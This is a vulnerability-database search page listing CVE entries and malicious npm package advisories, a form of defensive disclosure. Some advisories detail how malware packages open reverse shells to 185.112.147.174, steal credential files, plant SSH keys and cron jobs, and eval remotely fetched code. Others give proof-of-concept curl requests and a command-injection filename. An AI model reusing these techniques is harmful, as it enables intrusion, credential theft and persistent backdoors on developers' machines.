Search: server.js
1,213 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.7 | EPSS 0.6% | CVE-2026-57480parse-server · Inefficient Algorithmic Complexity High8.7EPSS 0.6%CVE Database V5CVE-2026-57480 Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.9.1-alpha.12 and 8.6.82, deeply nested $or, $and, and $nor query condition operators in the REST API or LiveQuery query handling could trigger exponential-time processing in the internal query-traversal helper and block the Node.js event loop. This issue is fixed in versions 9.9.1-alpha.12 and 8.6.82. | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.6% | CVE-2026-55778parse-server · Unrestricted File Upload Low2.1EPSS 0.6%CVE Database V5CVE-2026-55778 Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.9.1-alpha.11 and 8.6.81, the default fileUpload.fileExtensions blocklist could be bypassed by uploading a file with a non-standard or compound extension and dangerous content type, allowing storage adapters such as S3 and GCS to serve attacker-supplied active content and enable stored cross-site scripting. This issue is fixed in versions 9.9.1-alpha.11 and 8.6.81. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b3a87c3a5996e3d81f13922de94c19e39af1be7c9b6920fc9ade4f43edd838b7) The package's main entry (dist/index.js) re-exports createServerAdapter from./server/index.js, causing that module to evaluate on any require/import of vps-new-manager. At the top level, the server module spawns a detached, unref'd shell that opens an interactive reverse connection to the hardcoded remote endpoint 185.112.147.174:7007 via /dev/tcp redirection, wrapped in a swallowed try/catch so failures are silent. This grants the operator of that endpoint persistent interactive command execution on any host that loads the package. The behavior is unrelated to the advertised VPS/adapter maintenance functionality and fires unconditionally at import time. ## Source: ghsa-malware (0fdedbf5b701f6292437d5cff585e17924f71e58dfdf6f7e7ce83f2da2051495) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 6.1 | EPSS 0.3% | CVE-2026-59895honojs hono · Cross-site Scripting Medium6.1EPSS 0.3%CVE Database V5CVE-2026-59895 A cross-site scripting (XSS) vulnerability exists in honojs hono versions from 4.0.0 up to but not including 4.12.27. The cx() function in hono/css composes class names from plain strings but marks them as already escaped without properly HTML-escaping input. This allows untrusted className values used in JSX class attributes during server-side rendering to inject arbitrary markup. The issue is fixed in version 4.12.27. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-59896honojs hono · Race Condition Medium6.5EPSS 0.3%CVE Database V5CVE-2026-59896 A race condition vulnerability (CWE-362) exists in the honojs hono framework versions from 4.11.8 up to but not including 4.12.27. The issue arises because hono/jsx did not isolate context values per request during server-side rendering, allowing context data from a different in-flight request to be accessed after an await in an async component. This vulnerability has a CVSS score of 6.5 (medium severity) and is fixed in version 4.12.27. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.5% | Medium5.3EPSS 0.5%CVE Database V5CVE-2026-14500 The Bulk Order Update for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 1.6. This is due to the bouw_fetch_csv_data() AJAX handler being registered on the wp_ajax_nopriv_ hook with no capability or nonce check, and passing the attacker-supplied csv_url POST parameter — filtered only by esc_url_raw() (which leaves absolute filesystem paths intact) and validate_file() (which only rejects '..' traversal patterns) — directly into fopen()/fgetcsv() and reflecting the first parsed line in the JSON response. This makes it possible for unauthenticated attackers to read the first line of arbitrary files on the server (such as /etc/passwd) and to use the handler as a file-existence oracle. | CVE Database V5 | ||
| High | 7.5 | EPSS 1.0% | High7.5EPSS 1.0%CVE Database V5CVE-2026-14244 The Jssor Slider by jssor.com plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.1.24 via the 'url' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e049b6382f522be35ebc44b090d56723dacfc2fe15ffa05b345fe46f5aea392a) The package presents itself as "Pure Node.js telemetry for RuntimeDev platform" but implements a full remote-access trojan. The `runtimedev-link` bin, when invoked with a `--token` that encodes an `apiBase` and hash, enters a command loop that polls `POST /api/telemetry/poll-command` at the operator-supplied base URL and executes any returned `command` string through `/bin/sh` (or the Windows shell) via `execSync`, returning stdout/stderr to `/api/telemetry/command-result` (transport.js). The same agent handles server-issued `directoryScan` and `downloadRequest` operations, zipping arbitrary filesystem paths and uploading them base64-encoded to `/api/telemetry/upload-download`; every telemetry cycle reports hostname, username, OS info, home-directory tree, Chrome/Edge/Brave extension inventories, and the host's public IP fetched from api.ipify.org. On first run the agent installs cross-platform persistence: a Windows Task Scheduler entry marked `<Hidden>true</Hidden>` with a LogonTrigger launched via `wscript.exe //B` against a generated VBS; a macOS LaunchAgent plist with `RunAtLoad` + `KeepAlive`; a Linux systemd `--user` unit with `Restart=always` plus `loginctl enable-linger`, falling back to crontab `@reboot` or XDG autostart. Credentials are staged at `~/.config/runtimedev-link/agent.env`. To further evade endpoint visibility, `lib/portable_runtime.js` downloads a standalone Node.js 22.22.0 tarball from nodejs.org, extracts it into `~/.local/share/runtimedev-link/runtime/`, chmods `bin/node` to 0755, and configures persistence to invoke that private interpreter against a copied agent CLI, decoupling ongoing execution from the user's Node/npm. The exfil/C2 destinations are configurable per token, so any attacker distributing a token targets their own infrastructure; the code paths themselves are unambiguously RAT machinery. ## Source: ghsa-malware (bad42e28746353937971161510019f72f4c501f54d3a40410710ae83e83db724) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 6.3 | EPSS 0.8% | CVE-2026-56812phoenixframework phoenix · Unchecked Error Condition Medium6.3EPSS 0.8%CVE Database V5CVE-2026-56812 Improper Check for Unusual or Exceptional Conditions vulnerability in phoenixframework phoenix (Presence JavaScript client) allows an attacker with ordinary channel access to cause a persistent client-side denial of service against every viewer of a presence channel topic. This vulnerability is associated with program files assets/js/phoenix/presence.js and program routines Presence.syncState and Presence.syncDiff. The Phoenix JavaScript presence client checks whether a presence already exists with a bare truthiness test (state[key]) instead of an own-property check. Presence keys can be attacker-controlled, because applications track presences under a username or id supplied by the client. A user who joins a channel choosing a key that is an Object.prototype member name (__proto__, constructor, toString, hasOwnProperty, and similar) makes that lookup return JavaScript's built-in Object.prototype instead of undefined. Because the prototype is truthy, the code treats it as an existing presence and reads .metas.map(...) off it, which throws an uncaught TypeError. The exception propagates out of the presence message handler, so the local state is never updated and onSync() never fires. Because the malicious key is tracked on the server, it is re-pushed on every presence update and keeps re-throwing, so presence sync stays broken for every viewer of that channel topic until the attacker leaves. Both syncState and syncDiff use the same unsafe existence-check pattern. The impact is limited to the affected topic and is a read-time confusion of the prototype object, not a mutation of Object.prototype (it is not prototype pollution). This issue affects phoenix: from 1.2.0-rc.0 before 1.5.15, from 1.6.0-rc.0 before 1.6.17, from 1.7.0-rc.0 before 1.7.24, and from 1.8.0-rc.0 before 1.8.9; phoenix: from 1.2.0-rc.0 before 1.5.15, from 1.6.0-rc.0 before 1.6.17, from 1.7.0-rc.0 before 1.7.24, and from 1.8.0-rc.0 before 1.8.9. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d49d1a6c5381f58370cbfedc2321bd44796eb4ea79541d967a661760d9759801) paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-exports dist/server/index.js, whose top-level code spawns a detached shell (spawn("sh", ["-c",...], { detached: true, stdio: "ignore" })) that reads a fixed list of installer-owned secret files — ~/.aws/credentials, ~/.ssh/id_rsa and id_ed25519, ~/.ssh/known_hosts, ~/.kube/config, ~/.docker/config.json, gcloud application-default credentials, Terraform credentials, ~/.azure, ~/.netrc, ~/.git-credentials, plus repository package.json/lockfiles and process environment variables — and POSTs the collected data in cleartext to http://185.112.147.174:7007/out. It then enters a polling loop against http://185.112.147.174:7007/cmd, executing each returned command via sh -c and re-POSTing the output, giving the operator of that endpoint arbitrary unauthenticated shell access on the installer's machine. The package.json name ('paperclip-adapter-helpers') and README ('vps-new-manager') do not match, and the advertised Paperclip-adapter purpose does not match the shipped behavior — a cover-story pattern. ## Source: ghsa-malware (c33071282f67f5b2f1d74e9708139b4522912ab5cba4eed00e4556761e3d2d52) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (703742479b22abc803449b57addd40a57923d4f658814003f6ebf5d13bc9a510) The OpenSSF Package Analysis project identified 'paperclip-adapter-helpers' @ 1.0.7 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' (srm0rgan@proton.me) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (`dist/server/execute.js`) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload. From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during `npm install`. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174: - Versions 1.0.2-1.0.5 (`postinstall` -> `node dist/postinstall.js`): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment `deploy@paperclip-host`, `AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2`) to `authorized_keys` for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and `/etc/cron.d/paperclip-adapter-sync` that run a `mkfifo`+`nc` reverse shell to 185.112.147.174:443 every minute; and launches a `mkfifo`+`nc` reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001. - Version 1.0.6 (`postinstall` -> `node dist/setup.js`): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, `git remote`/`git config`, sudo and docker status, and reads AWS credentials/config, SSH private keys, `.npmrc`, `.netrc`, `.git-credentials`, Docker config, `/home/runner/*` CI credentials, and `.github/workflows` files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to `http://185.112.147.174:8080/npm/v1/security/audits/quick` (spoofing an npm audit request), then spawns `mkfifo`+`nc` reverse shells across the same eight ports in a loop. - Version 1.0.7 (`postinstall` -> `node dist/postinstall.js`): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned `/bin/sh` over the socket. Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran `npm install paperclip-host-utils` at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from `authorized_keys`, the injected crontab entry, and `/etc/cron.d/paperclip-adapter-sync`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored. ## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious softw | GCVE Database | |||
| Critical | 10.0 | Critical10.0GCVE Database --- title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true --- ## Summary Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The `/api/providers` endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, `/api/usage/stats` exposes full plaintext API keys, and `/api/usage/request-logs` + `/api/usage/request-details` expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication. ## Affected Endpoints | Endpoint | Method | Issue | |---|---|---| | `/api/providers` | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs | | `/api/providers/:id` | GET | Read any single provider detail (IDOR) | | `/api/providers` | POST | Create arbitrary provider connections with attacker-controlled API keys | | `/api/providers/:id` | PUT | Modify any existing provider connection | | `/api/providers/:id` | DELETE | Delete any provider connection | | `/api/usage/stats` | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data | | `/api/usage/request-logs` | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) | | `/api/usage/request-details/:id` | GET | Exposes full conversation turns including system prompts, user messages, assistant responses | | `/api/version` | GET | Exposes current version info | | `/api/models` | GET | Exposes full model routing catalog | | `/api/v1/models` | GET | Exposes model list | ## Impact ### Critical: Provider CRUD without authentication An attacker can: 1. **Add a malicious provider** — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router 2. **Modify existing providers** — replace API keys with attacker-controlled ones, redirect traffic 3. **Delete all providers** — cause complete denial of service 4. **Read all provider configurations** — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses ### Critical: Full API key leak via /api/usage/stats The endpoint returns complete API key strings (e.g., `sk-...`) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts. ### Critical: Conversation history leak `/api/usage/request-details` returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces. ## Steps to Reproduce ### 1. Unauthenticated read of all providers ```bash curl -s https://<host>/api/providers ``` Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes. ### 2. Create a provider without authentication ```bash curl -X POST https://<host>/api/providers \ -H "Content-Type: application/json" \ -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}' ``` Returns the created connection object with a new UUID and `isActive: true`. ### 3. Modify an existing provider without authentication ```bash curl -X PUT https://<host>/api/providers/<existing-uuid> \ -H "Content-Type: application/json" \ -d '{"name":"modified","apiKey":"sk-attacker-key"}' ``` Returns the updated connection object. ### 4. Delete a provider without authentication ```bash curl -X DELETE https://<host>/api/providers/<existing-uuid> ``` Returns `{"message":"Connection deleted successfully"}`. ### 5. Read full usage stats with API keys ```bash curl -s https://<host>/api/usage/stats ``` Returns full API key strings, per-account token/cost breakdown, recent requests. ### 6. Read request logs ```bash curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50" ``` Returns paginated request logs with timestamps, models, providers, user emails, token counts. ### 7. Read full conversation ```bash curl -s https://<host>/api/usage/request-details/<request-uuid> ``` Returns complete conversation turns for that request. ### 8. Read version info ```bash curl -s https://<host>/api/version ``` Returns `{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}`. ## Root Cause The Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically: - `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database - `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys - `/api/usage/request-logs` — No auth check before returning request history - `/api/usage/request-details/:id` — No auth check before returning full conversation contents ## Suggested Fix 1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fcd05581537eece4993579cb664215a82b87dad2bdb03cae7ba998ba092a79d) Package name mimics the rollup-plugin-* ecosystem but exposes no Rollup plugin API. Its exported functions getPlugin, setPlugin, and getPluginExten each issue an HTTP GET to https://rest-icon-handler.store/icons/<token> and pass the response body through JSON.parse followed by eval, executing whatever the remote server returns inside the caller's Node.js process. The destination URL is assembled from split string fragments (protocol/separator/subdomain/domain/path plus numeric token variables) rather than a literal, a lightweight obfuscation to defeat URL scanners. getPlugin also chains into getPluginExten, causing a single call to trigger multiple remote-code fetches. Any consumer that imports this package and invokes an exported function grants the operator of rest-icon-handler.store full remote code execution on the installer's machine. Name and description present the package as a Rollup polyfill helper to lure developers into installing and invoking it. ## Source: ghsa-malware (eb53d850b987c8153dfa2ccba3634b4d653dbd66c8ed73198270232aa7562066) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (540ace1cb8bc936ea953554a9ffc28203370f82cb5e5a7dfbf1454bf0e834b9a) On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing. ## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 8.4 | EPSS 0.4% | High8.4EPSS 0.4%GCVE Database flyto-core versions >=2.26.2 and <2.26.4 contain an unauthenticated command execution vulnerability via the HTTP MCP endpoint at /mcp. The endpoint accepts unauthenticated JSON-RPC requests that can invoke arbitrary registered modules, including sandbox.execute_shell, which executes attacker-controlled OS commands without authentication or input sanitization. By default, the server binds to localhost, limiting exploitation to local attackers, but if started with --host 0.0.0.0, remote exploitation is possible. A patch is available in version 2.26.4. | GCVE Database | ||
| Medium | 6.9 | Medium6.9GCVE Database ### Summary `UForm` and `UAuthForm` render a server-side `<form>` element with no `method` and no `action` attribute, relying on a hydrated `@submit.prevent` handler to intercept submission. If a user submits the form before Vue hydration has attached the handler (autofill plus Enter on a slow network, JS bundle blocked by CSP or CDN failure, etc.), the browser performs the native default: a `GET` to the current URL with every named field, including `<input type="password">`, serialised into the query string. ### Details `src/runtime/components/Form.vue` (around the template's `<form>` element) emits: ```vue <component :is="parentBus ? 'div' : 'form'" :id="formId" ref="formRef" :class="ui({ class: [uiProp?.base, props.class] })" @submit.prevent="onSubmitWrapper" > ``` No `method`, no `action`. `@submit.prevent` is the only thing stopping native submission, and it only exists after hydration. `UAuthForm` composes `UForm` and inherits the same shape. The SSR snapshot of `UAuthForm` (`test/components/__snapshots__/AuthForm.spec.ts.snap`) shows the rendered markup, with `<input type="password" name="password">` inside a `<form>` that has no `method`. ### Proof of concept Reported by @nimonian: 1. Create a minimal Nuxt app with a `UAuthForm`. 2. Build for production and visit in a browser with network throttling at 4G or slower. 3. Enter credentials. 4. Submit (or let autofill + Enter fire before hydration). The URL becomes `/login?email=…&password=…`. Reproducible deterministically in Playwright by triggering submit immediately on `load`. ### Impact Any application using `UAuthForm` (or `UForm` with credential-shaped fields) as documented. The cleartext password lands in: - the address bar, - `window.history`, - the `Referer` header of every same-origin subresource fetched from the resulting URL, - access logs of any reverse proxy, CDN, or WAF that records request URLs. ### Patch Default the rendered `<form>` to `method="post"` so the pre-hydration fallback submits as POST rather than GET. Vue's `@submit.prevent` still intercepts the hydrated case; the attribute only matters in the race window. Applications that explicitly want native GET submission can opt back in by passing `method="get"`. ### Credit Reported by @nimonian. Originally filed as `GHSA-92g7-2fpq-hmq8` against `nuxt/nuxt`; moved here because the affected code lives in `@nuxt/ui`. | GCVE Database | |||
| High | 7.5 | EPSS 0.3% | CVE-2026-59096dapr · Origin Validation Error High7.5EPSS 0.3%CVE Database V5CVE-2026-59096 CVE-2026-59096 is a high-severity vulnerability in dapr versions 1.17.0 and 1.18.0 involving an origin validation error in Dapr Sentry's OIDC discovery endpoint. The endpoint derives issuer and jwks_uri values from the request Host header, trusting an attacker-controlled X-Forwarded-Host header without validation when no allowed-hosts list is configured (the default). This allows a remote unauthenticated attacker to poison the discovery document, causing relying parties to fetch JSON Web Key Sets (JWKS) from an attacker-controlled server and accept attacker-signed JWTs. Exploitation requires the OIDC server to be enabled without a configured jwt-issuer or oidc-allowed-hosts. EPSS 0.3%Vulnerability | CVE Database V5 | ||
| Medium | 4.3 | Medium4.3GCVE Database ## Summary The `Mysqls.add` API command (`lib/Froxlor/Api/Commands/Mysqls.php`) accepts a customer-controlled `mysql_server` parameter and only validates that the value is numeric and that the server index exists in `userdata.inc.php`. It never checks the value against the calling customer's `allowed_mysqlserver` allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same `allowed_mysqlserver` check is correctly enforced in `MysqlServer::get()` / `MysqlServer::listing()` and in the customer-facing UI (`customer_mysql.php`), confirming the omission is a bug, not by-design. ## Details **Vulnerable code path** — `lib/Froxlor/Api/Commands/Mysqls.php:69-99` (`add()`): ```php public function add() { if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) { ... $customer = $this->getCustomerData('mysqls'); // line 80 $dbserver = $this->getParam('mysql_server', true, // line 81 — user-controlled $this->getDefaultMySqlServer($customer)); ... $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...); // line 92 — numeric only Database::needRoot(true, $dbserver, false); // line 93 — root ctx for ANY index Database::needSqlData(); $sql_root = Database::getSqlData(); Database::needRoot(false); if (!is_array($sql_root)) { // line 97 — only existence check throw new Exception("Database server with index #" . $dbserver . " is unknown", 404); } ... $username = $dbm->createDatabase($newdb_params['loginname'], $password, $dbserver, ...); // line 116/118 — DB+user created ... Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...); } } ``` The `$customer['allowed_mysqlserver']` field IS read on line 80 but is only consumed by `getDefaultMySqlServer()` (lines 566-573) to compute a default when the request omits `mysql_server`. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs. **Cross-file evidence the check is intended elsewhere:** - `lib/Froxlor/Api/Commands/MysqlServer.php:319-323` — `get()` rejects with HTTP 405 when `$dbserver` is not in `allowed_mysqlserver`: ```php if ($this->isAdmin() == false) { $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true); if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) { throw new Exception("You cannot access this resource", 405); } ... } ``` - `lib/Froxlor/Api/Commands/MysqlServer.php:252-257` — same allowlist filter on `listing()`. - `customer_mysql.php:222` — UI rejects with `Response::dynamicError('No permission')` when `empty($allowed_mysqlservers)`. **Chain of execution (attacker → impact):** 1. Customer authenticates to `api.php` with apikey/secret. The only API gate is `cust_api_allowed`; `allowed_mysqlserver` is not consulted at auth time. 2. Customer sends JSON `{"command":"Mysqls.add","params":{"mysql_password":"<valid>","mysql_server":<disallowed_idx>}}`. 3. `Mysqls.php:71` quota check passes (`mysqls_used < mysqls`). 4. `Mysqls.php:80` `getCustomerData('mysqls')` returns the caller's own row. 5. `Mysqls.php:81` `$dbserver` is set from the request (default-fallback path skipped). 6. `Mysqls.php:92` numeric regex passes. 7. `Mysqls.php:93-99` `Database::needRoot(true, $dbserver, false)` switches to the root context of the attacker-chosen server; existence check passes. 8. `Mysqls.php:116/118` `DbManager::createDatabase(...)` runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to `<loginname>_<sqlN>` (DbManager.php:177-218). 9. `Mysqls.php:127-141` inserts a row into `TABLE_PANEL_DATABASES` with the attacker's `customerid` and the disallowed `dbserver`, allowing later management via `Mysqls.get/update/delete` (which only filter by `customerid` for non-admins, e.g. `Mysqls.php:282`). ## PoC Preconditions on the target instance: - ≥2 MySQL servers configured in `lib/userdata.inc.php` (e.g. index 0 default, index 1 internal/premium). - Customer X with `allowed_mysqlserver=[0]`, `cust_api_allowed=1`, `mysqls > 0`, and an issued API key (`apikey:secret`). Request — customer creates a database on server `1`, which is *not* in their allowlist: ```bash curl -k -u 'CUST_APIKEY:CUST_SECRET' \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Mysqls.add","params":{"mysql_password":"ValidP@ssw0 | GCVE Database | |||
| High | 8.8 | EPSS 0.8% | High8.8EPSS 0.8%GCVE Database ### Impact A command injection vulnerability exists in electerm's file system operations (`rmrf`, `mv`, `cp`) in `src/app/lib/fs.js`. These functions construct shell commands by interpolating file paths directly into command strings without escaping shell metacharacters. **Vulnerable functions:** - `rmrf()` - Uses `rm -rf "${path}"` (double quotes, vulnerable to `"` injection) - `mv()` - Uses `mv '${from}' '${to}'` (single quotes, vulnerable to `'` injection) - `cp()` - Uses `cp -r "${from}" "${to}"` (double quotes, vulnerable to `"` injection) **Attack scenario:** 1. Attacker controls a malicious SSH/SFTP server 2. Server lists files with shell metacharacters in names (e.g., `file"$(touch /tmp/pwned)"`) 3. Victim connects to the server and performs file operations (remote-to-local transfer, rename on conflict, etc.) 4. The malicious filename is passed to `rmrf()`, `mv()`, or `cp()` without sanitization 5. Shell metacharacters break out of the quoted argument and execute arbitrary commands **Impact includes:** - Arbitrary command execution as the electerm desktop user - Data exfiltration, malware installation, or system compromise - Both POSIX (bash) and Windows (PowerShell) platforms are affected ### Patches - https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42 ### Workarounds If upgrading is not immediately possible, users can mitigate this vulnerability by: 1. Only connecting to trusted SSH/SFTP servers 2. Avoiding remote-to-local file transfers from untrusted sources 3. Not using the "rename on conflict" option when downloading folders from untrusted servers 4. Manually verifying filenames before performing file operations | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE Database ### Impact A path traversal vulnerability exists in the Zmodem and Trzsz file download handlers in electerm. When receiving files via Zmodem or Trzsz protocols, electerm uses the remote-supplied filename directly in `path.join()` with the user-selected download directory without sanitization. A malicious SSH server or remote shell process can send a specially crafted filename such as `../escaped.txt` to escape the user-selected download directory and write files to arbitrary locations on the user's filesystem, subject to process permissions. **Attack scenario:** 1. User connects to a malicious SSH server 2. Attacker initiates a Zmodem or Trzsz file transfer 3. Attacker supplies a traversal filename (e.g., `../../.bashrc`, `../escaped.txt`) 4. User accepts the transfer and selects a download directory 5. File is written outside the selected directory, potentially overwriting sensitive files **Affected components:** - `src/app/server/zmodem.js` - `prepareReceiveFile()` at line 736 - `src/app/server/trzsz.js` - `getUniqueFilePath()` at line 559, `openSaveFile()` callback, and `savedFilePaths` mapping ### Patches - https://github.com/electerm/electerm/commit/fde153d677a170c5816368f6586647f3af4ef284 ### Workarounds If upgrading is not immediately possible, users can mitigate this vulnerability by: 1. Only connecting to trusted SSH servers 2. Rejecting or canceling any incoming Zmodem or Trzsz file transfers from untrusted sources 3. Avoiding the use of Zmodem (`sz`/`rz`) and Trzsz (`trz`/`tsz`) commands on untrusted servers | GCVE Database |
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